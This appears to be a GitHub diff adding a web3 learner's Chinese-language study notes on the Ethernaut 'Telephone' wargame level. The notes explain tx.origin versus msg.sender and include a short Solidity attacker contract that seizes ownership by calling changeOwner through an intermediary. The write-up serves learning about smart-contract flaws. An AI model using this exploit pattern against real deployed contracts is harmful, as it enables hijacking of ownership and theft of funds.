File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -15,6 +15,88 @@ web3萌新
1515## Notes
1616
1717<!-- Content_START -->
18+ # 2025-08-20
19+
20+ ## 4.Telephone
21+
22+ ``` solidity
23+ // SPDX-License-Identifier: MIT
24+ pragma solidity ^0.8.0;
25+
26+ contract Telephone {
27+ address public owner;
28+
29+ constructor() {
30+ owner = msg.sender;
31+ }
32+
33+ function changeOwner(address _owner) public {
34+ if (tx.origin != msg.sender) {
35+ owner = _owner;
36+ }
37+ }
38+ }
39+ ```
40+
41+ ** ` tx.origin ` ** :交易的最初发起人(EOA)。
42+
43+ ** ` msg.sender ` ** :当前调用者(可能是 EOA 或合约)。
44+
45+ 如果直接从钱包(EOA)调用 ` changeOwner ` ,那么 ** ` tx.origin == msg.sender ` ** ,条件不成立,不能修改 ` owner ` 。
46+
47+ 只有当调用经过 ** 另一个合约转发** 时,` msg.sender = 合约地址 ` ,` tx.origin = EOA ` ,这两个不相等,条件成立,可以修改 ` owner ` 。
48+
49+ 例子如下:
50+
51+ ``` solidity
52+ contract A {
53+ function callB(address b) public {
54+ B(b).foo();
55+ }
56+ }
57+
58+ contract B {
59+ function foo() public view returns (address, address) {
60+ return (msg.sender, tx.origin);
61+ }
62+ }
63+ ```
64+
65+ 调用流程:
66+
67+ 1 . EOA(Alice)发交易 → 调用 ` A.callB(b) ` 。
68+ 2 . 在 ` A ` 内部又调用 ` B.foo() ` 。
69+
70+ 在 ` B.foo() ` 里:
71+
72+ - ` msg.sender = A ` (因为直接调用 ` foo() ` 的是合约 ` A ` )。
73+ - ` tx.origin = Alice ` (因为交易最初来自 Alice)。
74+
75+ 攻击脚本
76+
77+ ``` solidity
78+ // SPDX-License-Identifier: MIT
79+ pragma solidity ^0.8.0;
80+
81+ interface attackTelephone {
82+ function changeOwner(address _owner) external;
83+ }
84+
85+ contract attacker{
86+ attackTelephone public target;
87+
88+ constructor(address _target)
89+ {
90+ target = attackTelephone(_target);
91+ }
92+
93+ function attack(address myaddr) public
94+ {
95+ target.changeOwner(myaddr);
96+ }
97+ }
98+ ```
99+
18100# 2025-08-19
19101
20102### 21.合约如何调用其他合约
You can’t perform that action at this time.
0 commit comments